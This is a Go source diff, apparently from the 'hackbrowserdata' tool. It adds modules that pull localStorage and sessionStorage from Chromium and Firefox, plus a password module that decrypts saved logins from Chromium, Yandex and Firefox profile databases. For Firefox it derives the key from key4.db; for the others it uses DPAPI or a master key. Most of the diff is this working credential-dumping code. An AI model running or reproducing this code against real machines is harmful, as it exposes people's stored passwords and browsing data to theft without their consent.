s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
|
||||
}
|
||||
*c = append(*c, *s)
|
||||
}
|
||||
iter.Release()
|
||||
err = iter.Error()
|
||||
return err
|
||||
}
|
||||
|
||||
func (c *ChromiumLocalStorage) Name() string {
|
||||
return "localStorage"
|
||||
}
|
||||
|
||||
func (c *ChromiumLocalStorage) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
func (s *storage) fillKey(b []byte) {
|
||||
keys := bytes.Split(b, []byte("\x00"))
|
||||
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
|
||||
s.IsMeta = true
|
||||
s.fillMetaHeader(keys[0])
|
||||
}
|
||||
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
|
||||
s.fillHeader(keys[0], keys[1])
|
||||
}
|
||||
}
|
||||
|
||||
func (s *storage) fillMetaHeader(b []byte) {
|
||||
s.URL = string(bytes.Trim(b, "META:"))
|
||||
}
|
||||
|
||||
func (s *storage) fillHeader(url, key []byte) {
|
||||
s.URL = string(bytes.Trim(url, "_"))
|
||||
s.Key = string(bytes.Trim(key, "\x01"))
|
||||
}
|
||||
|
||||
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
|
||||
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
|
||||
return r, err
|
||||
}
|
||||
|
||||
// fillValue fills value of the storage
|
||||
// TODO: support unicode charter
|
||||
func (s *storage) fillValue(b []byte) {
|
||||
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
|
||||
s.Value = string(value)
|
||||
}
|
||||
|
||||
type FirefoxLocalStorage []storage
|
||||
|
||||
const (
|
||||
queryLocalStorage = `SELECT originKey, key, value FROM webappsstore2`
|
||||
closeJournalMode = `PRAGMA journal_mode=off`
|
||||
)
|
||||
|
||||
func (f *FirefoxLocalStorage) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempFirefoxLocalStorage)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxLocalStorage)
|
||||
defer db.Close()
|
||||
|
||||
_, err = db.Exec(closeJournalMode)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
rows, err := db.Query(queryLocalStorage)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var originKey, key, value string
|
||||
if err = rows.Scan(&originKey, &key, &value); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
s := new(storage)
|
||||
s.fillFirefox(originKey, key, value)
|
||||
*f = append(*f, *s)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *storage) fillFirefox(originKey, key, value string) {
|
||||
// originKey = moc.buhtig.:https:443
|
||||
p := strings.Split(originKey, ":")
|
||||
h := typeutil.Reverse([]byte(p[0]))
|
||||
if bytes.HasPrefix(h, []byte(".")) {
|
||||
h = h[1:]
|
||||
}
|
||||
if len(p) == 3 {
|
||||
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
|
||||
}
|
||||
s.Key = key
|
||||
s.Value = value
|
||||
}
|
||||
|
||||
func (f *FirefoxLocalStorage) Name() string {
|
||||
return "localStorage"
|
||||
}
|
||||
|
||||
func (f *FirefoxLocalStorage) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
@@ -0,0 +1,33 @@
|
||||
package localstorage
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
)
|
||||
|
||||
var testCases = []struct {
|
||||
in []byte
|
||||
wanted []byte
|
||||
actual []byte
|
||||
}{
|
||||
{
|
||||
in: []byte{0x0, 0x7b, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x68, 0x0, 0x74, 0x0, 0x74, 0x0, 0x70, 0x0, 0x73, 0x0, 0x3a, 0x0, 0x2f, 0x0, 0x2f, 0x0, 0x77, 0x0, 0x77, 0x0, 0x77, 0x0, 0x2e, 0x0, 0x76, 0x0, 0x6f, 0x0, 0x6c, 0x0, 0x63, 0x0, 0x65, 0x0, 0x6e, 0x0, 0x67, 0x0, 0x69, 0x0, 0x6e, 0x0, 0x65, 0x0, 0x2e, 0x0, 0x63, 0x0, 0x6f, 0x0, 0x6d, 0x0, 0x2f, 0x0, 0x70, 0x0, 0x72, 0x0, 0x6f, 0x0, 0x64, 0x0, 0x75, 0x0, 0x63, 0x0, 0x74, 0x0, 0x73, 0x0, 0x2f, 0x0, 0x66, 0x0, 0x65, 0x0, 0x69, 0x0, 0x6c, 0x0, 0x69, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x74, 0x0, 0x69, 0x0, 0x74, 0x0, 0x6c, 0x0, 0x65, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0xde, 0x98, 0xde, 0x8f, 0x2d, 0x0, 0x6b, 0x70, 0x71, 0x5c, 0x15, 0x5f, 0xce, 0x64, 0x22, 0x0, 0x2c, 0x0, 0x22, 0x0, 0x72, 0x0, 0x65, 0x0, 0x66, 0x0, 0x65, 0x0, 0x72, 0x0, 0x5f, 0x0, 0x6d, 0x0, 0x61, 0x0, 0x6e, 0x0, 0x75, 0x0, 0x61, 0x0, 0x6c, 0x0, 0x5f, 0x0, 0x6b, 0x0, 0x65, 0x0, 0x79, 0x0, 0x22, 0x0, 0x3a, 0x0, 0x22, 0x0, 0x22, 0x0, 0x7d, 0x0},
|
||||
wanted: []byte(`{"refer_key":"https://www.volcengine.com/product/feilian","refer_title":"飞连_SSO单点登录_VPN_终端安全合规_便捷Wifi认证-火山引擎","refer_manual_key":""}`),
|
||||
actual: []byte{0x7b, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3a, 0x2f, 0x2f, 0x77, 0x77, 0x77, 0x2e, 0x76, 0x6f, 0x6c, 0x63, 0x65, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x70, 0x72, 0x6f, 0x64, 0x75, 0x63, 0x74, 0x73, 0x2f, 0x66, 0x65, 0x69, 0x6c, 0x69, 0x61, 0x6e, 0x22, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x74, 0x69, 0x74, 0x6c, 0x65, 0x22, 0x3a, 0x22, 0xc3, 0x9e, 0xe9, 0xa3, 0x9e, 0xe8, 0xbc, 0xad, 0x6b, 0xe7, 0x81, 0xb1, 0xe5, 0xb0, 0x95, 0xe5, 0xbf, 0x8e, 0xe6, 0x90, 0xa2, 0x2c, 0x22, 0x72, 0x65, 0x66, 0x65, 0x72, 0x5f, 0x6d, 0x61, 0x6e, 0x75, 0x61, 0x6c, 0x5f, 0x6b, 0x65, 0x79, 0x22, 0x3a, 0x22, 0x22, 0x7d, 0xef, 0xbf, 0xbd},
|
||||
},
|
||||
}
|
||||
|
||||
func TestLocalStorageKeyToUTF8(t *testing.T) {
|
||||
t.Parallel()
|
||||
for _, tc := range testCases {
|
||||
actual, err := convertUTF16toUTF8(tc.in, unicode.BigEndian)
|
||||
if err != nil {
|
||||
t.Error(err)
|
||||
}
|
||||
// TODO: fix this, value from local storage if contains chinese characters, need convert utf16 to utf8
|
||||
// but now, it can't convert, so just skip it.
|
||||
assert.Equal(t, tc.actual, actual, "chinese characters can't actual convert")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,77 @@
|
||||
package browsingdata
|
||||
|
||||
import (
|
||||
"encoding/csv"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"io"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/gocarina/gocsv"
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
)
|
||||
|
||||
type outPutter struct {
|
||||
json bool
|
||||
csv bool
|
||||
}
|
||||
|
||||
func newOutPutter(flag string) *outPutter {
|
||||
o := &outPutter{}
|
||||
if flag == "json" {
|
||||
o.json = true
|
||||
} else {
|
||||
o.csv = true
|
||||
}
|
||||
return o
|
||||
}
|
||||
|
||||
func (o *outPutter) Write(data Source, writer io.Writer) error {
|
||||
switch o.json {
|
||||
case true:
|
||||
encoder := json.NewEncoder(writer)
|
||||
encoder.SetIndent(" ", " ")
|
||||
encoder.SetEscapeHTML(false)
|
||||
return encoder.Encode(data)
|
||||
default:
|
||||
gocsv.SetCSVWriter(func(w io.Writer) *gocsv.SafeCSVWriter {
|
||||
writer := csv.NewWriter(transform.NewWriter(w, unicode.UTF8BOM.NewEncoder()))
|
||||
writer.Comma = ','
|
||||
return gocsv.NewSafeCSVWriter(writer)
|
||||
})
|
||||
return gocsv.Marshal(data, writer)
|
||||
}
|
||||
}
|
||||
|
||||
func (o *outPutter) CreateFile(dir, filename string) (*os.File, error) {
|
||||
if filename == "" {
|
||||
return nil, errors.New("empty filename")
|
||||
}
|
||||
|
||||
if dir != "" {
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err := os.MkdirAll(dir, 0o750)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
var file *os.File
|
||||
var err error
|
||||
p := filepath.Join(dir, filename)
|
||||
file, err = os.OpenFile(filepath.Clean(p), os.O_TRUNC|os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o600)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return file, nil
|
||||
}
|
||||
|
||||
func (o *outPutter) Ext() string {
|
||||
if o.json {
|
||||
return "json"
|
||||
}
|
||||
return "csv"
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
package browsingdata
|
||||
|
||||
import (
|
||||
"os"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestNewOutPutter(t *testing.T) {
|
||||
t.Parallel()
|
||||
out := newOutPutter("json")
|
||||
if out == nil {
|
||||
t.Error("New() returned nil")
|
||||
}
|
||||
f, err := out.CreateFile("results", "test.json")
|
||||
if err != nil {
|
||||
t.Error("CreateFile() returned an error", err)
|
||||
}
|
||||
defer os.RemoveAll("results")
|
||||
err = out.Write(nil, f)
|
||||
if err != nil {
|
||||
t.Error("Write() returned an error", err)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
package password
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"encoding/base64"
|
||||
"os"
|
||||
"sort"
|
||||
"time"
|
||||
|
||||
// import sqlite3 driver
|
||||
_ "github.com/mattn/go-sqlite3"
|
||||
"github.com/tidwall/gjson"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/crypto"
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumPassword []loginData
|
||||
|
||||
type loginData struct {
|
||||
UserName string
|
||||
encryptPass []byte
|
||||
encryptUser []byte
|
||||
Password string
|
||||
LoginURL string
|
||||
CreateDate time.Time
|
||||
}
|
||||
|
||||
const (
|
||||
queryChromiumLogin = `SELECT origin_url, username_value, password_value, date_created FROM logins`
|
||||
)
|
||||
|
||||
func (c *ChromiumPassword) Parse(masterKey []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempChromiumPassword)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempChromiumPassword)
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query(queryChromiumLogin)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, username string
|
||||
pwd, password []byte
|
||||
create int64
|
||||
)
|
||||
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
login := loginData{
|
||||
UserName: username,
|
||||
encryptPass: pwd,
|
||||
LoginURL: url,
|
||||
}
|
||||
if len(pwd) > 0 {
|
||||
if len(masterKey) == 0 {
|
||||
password, err = crypto.DPAPI(pwd)
|
||||
} else {
|
||||
password, err = crypto.DecryptPass(masterKey, pwd)
|
||||
}
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
}
|
||||
if create > time.Now().Unix() {
|
||||
login.CreateDate = typeutil.TimeEpoch(create)
|
||||
} else {
|
||||
login.CreateDate = typeutil.TimeStamp(create)
|
||||
}
|
||||
login.Password = string(password)
|
||||
*c = append(*c, login)
|
||||
}
|
||||
// sort with create date
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *ChromiumPassword) Name() string {
|
||||
return "password"
|
||||
}
|
||||
|
||||
func (c *ChromiumPassword) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type YandexPassword []loginData
|
||||
|
||||
const (
|
||||
queryYandexLogin = `SELECT action_url, username_value, password_value, date_created FROM logins`
|
||||
)
|
||||
|
||||
func (c *YandexPassword) Parse(masterKey []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempYandexPassword)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempYandexPassword)
|
||||
defer db.Close()
|
||||
|
||||
rows, err := db.Query(queryYandexLogin)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
|
||||
for rows.Next() {
|
||||
var (
|
||||
url, username string
|
||||
pwd, password []byte
|
||||
create int64
|
||||
)
|
||||
if err := rows.Scan(&url, &username, &pwd, &create); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
login := loginData{
|
||||
UserName: username,
|
||||
encryptPass: pwd,
|
||||
LoginURL: url,
|
||||
}
|
||||
|
||||
if len(pwd) > 0 {
|
||||
if len(masterKey) == 0 {
|
||||
password, err = crypto.DPAPI(pwd)
|
||||
} else {
|
||||
password, err = crypto.DecryptPass(masterKey, pwd)
|
||||
}
|
||||
if err != nil {
|
||||
log.Errorf("decrypt yandex password error %s", err)
|
||||
}
|
||||
}
|
||||
if create > time.Now().Unix() {
|
||||
login.CreateDate = typeutil.TimeEpoch(create)
|
||||
} else {
|
||||
login.CreateDate = typeutil.TimeStamp(create)
|
||||
}
|
||||
login.Password = string(password)
|
||||
*c = append(*c, login)
|
||||
}
|
||||
// sort with create date
|
||||
sort.Slice(*c, func(i, j int) bool {
|
||||
return (*c)[i].CreateDate.After((*c)[j].CreateDate)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *YandexPassword) Name() string {
|
||||
return "password"
|
||||
}
|
||||
|
||||
func (c *YandexPassword) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
type FirefoxPassword []loginData
|
||||
|
||||
const (
|
||||
queryMetaData = `SELECT item1, item2 FROM metaData WHERE id = 'password'`
|
||||
queryNssPrivate = `SELECT a11, a102 from nssPrivate`
|
||||
)
|
||||
|
||||
func (f *FirefoxPassword) Parse(masterKey []byte) error {
|
||||
globalSalt, metaBytes, nssA11, nssA102, err := getFirefoxDecryptKey(item.TempFirefoxKey4)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
metaPBE, err := crypto.NewASN1PBE(metaBytes)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
k, err := metaPBE.Decrypt(globalSalt, masterKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if bytes.Contains(k, []byte("password-check")) {
|
||||
keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1}
|
||||
if bytes.Equal(nssA102, keyLin) {
|
||||
nssPBE, err := crypto.NewASN1PBE(nssA11)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
finallyKey, err := nssPBE.Decrypt(globalSalt, masterKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
finallyKey = finallyKey[:24]
|
||||
logins, err := getFirefoxLoginData()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, v := range logins {
|
||||
userPBE, err := crypto.NewASN1PBE(v.encryptUser)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwdPBE, err := crypto.NewASN1PBE(v.encryptPass)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
user, err := userPBE.Decrypt(finallyKey, masterKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
pwd, err := pwdPBE.Decrypt(finallyKey, masterKey)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
*f = append(*f, loginData{
|
||||
LoginURL: v.LoginURL,
|
||||
UserName: string(user),
|
||||
Password: string(pwd),
|
||||
CreateDate: v.CreateDate,
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
sort.Slice(*f, func(i, j int) bool {
|
||||
return (*f)[i].CreateDate.After((*f)[j].CreateDate)
|
||||
})
|
||||
return nil
|
||||
}
|
||||
|
||||
func getFirefoxDecryptKey(key4file string) (item1, item2, a11, a102 []byte, err error) {
|
||||
keyDB, err := sql.Open("sqlite3", key4file)
|
||||
if err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
defer os.Remove(key4file)
|
||||
defer keyDB.Close()
|
||||
|
||||
if err = keyDB.QueryRow(queryMetaData).Scan(&item1, &item2); err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
|
||||
if err = keyDB.QueryRow(queryNssPrivate).Scan(&a11, &a102); err != nil {
|
||||
return nil, nil, nil, nil, err
|
||||
}
|
||||
return item1, item2, a11, a102, nil
|
||||
}
|
||||
|
||||
func getFirefoxLoginData() ([]loginData, error) {
|
||||
s, err := os.ReadFile(item.TempFirefoxPassword)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxPassword)
|
||||
loginsJSON := gjson.GetBytes(s, "logins")
|
||||
var logins []loginData
|
||||
if loginsJSON.Exists() {
|
||||
for _, v := range loginsJSON.Array() {
|
||||
var (
|
||||
m loginData
|
||||
user []byte
|
||||
pass []byte
|
||||
)
|
||||
m.LoginURL = v.Get("formSubmitURL").String()
|
||||
user, err = base64.StdEncoding.DecodeString(v.Get("encryptedUsername").String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
pass, err = base64.StdEncoding.DecodeString(v.Get("encryptedPassword").String())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
m.encryptUser = user
|
||||
m.encryptPass = pass
|
||||
m.CreateDate = typeutil.TimeStamp(v.Get("timeCreated").Int() / 1000)
|
||||
logins = append(logins, m)
|
||||
}
|
||||
}
|
||||
return logins, nil
|
||||
}
|
||||
|
||||
func (f *FirefoxPassword) Name() string {
|
||||
return "password"
|
||||
}
|
||||
|
||||
func (f *FirefoxPassword) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
@@ -0,0 +1,165 @@
|
||||
package sessionstorage
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"os"
|
||||
"strings"
|
||||
|
||||
"github.com/syndtr/goleveldb/leveldb"
|
||||
"golang.org/x/text/encoding/unicode"
|
||||
"golang.org/x/text/transform"
|
||||
|
||||
"github.com/moond4rk/hackbrowserdata/item"
|
||||
"github.com/moond4rk/hackbrowserdata/log"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/byteutil"
|
||||
"github.com/moond4rk/hackbrowserdata/utils/typeutil"
|
||||
)
|
||||
|
||||
type ChromiumSessionStorage []session
|
||||
|
||||
type session struct {
|
||||
IsMeta bool
|
||||
URL string
|
||||
Key string
|
||||
Value string
|
||||
}
|
||||
|
||||
const maxLocalStorageValueLength = 1024 * 2
|
||||
|
||||
func (c *ChromiumSessionStorage) Parse(_ []byte) error {
|
||||
db, err := leveldb.OpenFile(item.TempChromiumSessionStorage, nil)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.RemoveAll(item.TempChromiumSessionStorage)
|
||||
defer db.Close()
|
||||
|
||||
iter := db.NewIterator(nil, nil)
|
||||
for iter.Next() {
|
||||
key := iter.Key()
|
||||
value := iter.Value()
|
||||
s := new(session)
|
||||
s.fillKey(key)
|
||||
// don't all value upper than 2KB
|
||||
if len(value) < maxLocalStorageValueLength {
|
||||
s.fillValue(value)
|
||||
} else {
|
||||
s.Value = fmt.Sprintf("value is too long, length is %d, supportted max length is %d", len(value), maxLocalStorageValueLength)
|
||||
}
|
||||
if s.IsMeta {
|
||||
s.Value = fmt.Sprintf("meta data, value bytes is %v", value)
|
||||
}
|
||||
*c = append(*c, *s)
|
||||
}
|
||||
iter.Release()
|
||||
err = iter.Error()
|
||||
return err
|
||||
}
|
||||
|
||||
func (c *ChromiumSessionStorage) Name() string {
|
||||
return "sessionStorage"
|
||||
}
|
||||
|
||||
func (c *ChromiumSessionStorage) Len() int {
|
||||
return len(*c)
|
||||
}
|
||||
|
||||
func (s *session) fillKey(b []byte) {
|
||||
keys := bytes.Split(b, []byte("-"))
|
||||
if len(keys) == 1 && bytes.HasPrefix(keys[0], []byte("META:")) {
|
||||
s.IsMeta = true
|
||||
s.fillMetaHeader(keys[0])
|
||||
}
|
||||
if len(keys) == 2 && bytes.HasPrefix(keys[0], []byte("_")) {
|
||||
s.fillHeader(keys[0], keys[1])
|
||||
}
|
||||
if len(keys) == 3 {
|
||||
if string(keys[0]) == "map" {
|
||||
s.Key = string(keys[2])
|
||||
} else if string(keys[0]) == "namespace" {
|
||||
s.URL = string(keys[2])
|
||||
s.Key = string(keys[1])
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (s *session) fillMetaHeader(b []byte) {
|
||||
s.URL = string(bytes.Trim(b, "META:"))
|
||||
}
|
||||
|
||||
func (s *session) fillHeader(url, key []byte) {
|
||||
s.URL = string(bytes.Trim(url, "_"))
|
||||
s.Key = string(bytes.Trim(key, "\x01"))
|
||||
}
|
||||
|
||||
func convertUTF16toUTF8(source []byte, endian unicode.Endianness) ([]byte, error) {
|
||||
r, _, err := transform.Bytes(unicode.UTF16(endian, unicode.IgnoreBOM).NewDecoder(), source)
|
||||
return r, err
|
||||
}
|
||||
|
||||
// fillValue fills value of the storage
|
||||
// TODO: support unicode charter
|
||||
func (s *session) fillValue(b []byte) {
|
||||
value := bytes.Map(byteutil.OnSplitUTF8Func, b)
|
||||
s.Value = string(value)
|
||||
}
|
||||
|
||||
type FirefoxSessionStorage []session
|
||||
|
||||
const (
|
||||
querySessionStorage = `SELECT originKey, key, value FROM webappsstore2`
|
||||
closeJournalMode = `PRAGMA journal_mode=off`
|
||||
)
|
||||
|
||||
func (f *FirefoxSessionStorage) Parse(_ []byte) error {
|
||||
db, err := sql.Open("sqlite3", item.TempFirefoxSessionStorage)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer os.Remove(item.TempFirefoxSessionStorage)
|
||||
defer db.Close()
|
||||
|
||||
_, err = db.Exec(closeJournalMode)
|
||||
if err != nil {
|
||||
log.Error(err)
|
||||
}
|
||||
rows, err := db.Query(querySessionStorage)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer rows.Close()
|
||||
for rows.Next() {
|
||||
var originKey, key, value string
|
||||
if err = rows.Scan(&originKey, &key, &value); err != nil {
|
||||
log.Warn(err)
|
||||
}
|
||||
s := new(session)
|
||||
s.fillFirefox(originKey, key, value)
|
||||
*f = append(*f, *s)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (s *session) fillFirefox(originKey, key, value string) {
|
||||
// originKey = moc.buhtig.:https:443
|
||||
p := strings.Split(originKey, ":")
|
||||
h := typeutil.Reverse([]byte(p[0]))
|
||||
if bytes.HasPrefix(h, []byte(".")) {
|
||||
h = h[1:]
|
||||
}
|
||||
if len(p) == 3 {
|
||||
s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2])
|
||||
}
|
||||
s.Key = key
|
||||
s.Value = value
|
||||
}
|
||||
|
||||
func (f *FirefoxSessionStorage) Name() string {
|
||||
return "sessionStorage"
|
||||
}
|
||||
|
||||
func (f *FirefoxSessionStorage) Len() int {
|
||||
return len(*f)
|
||||
}
|
||||
Reference in New Issue
Block a user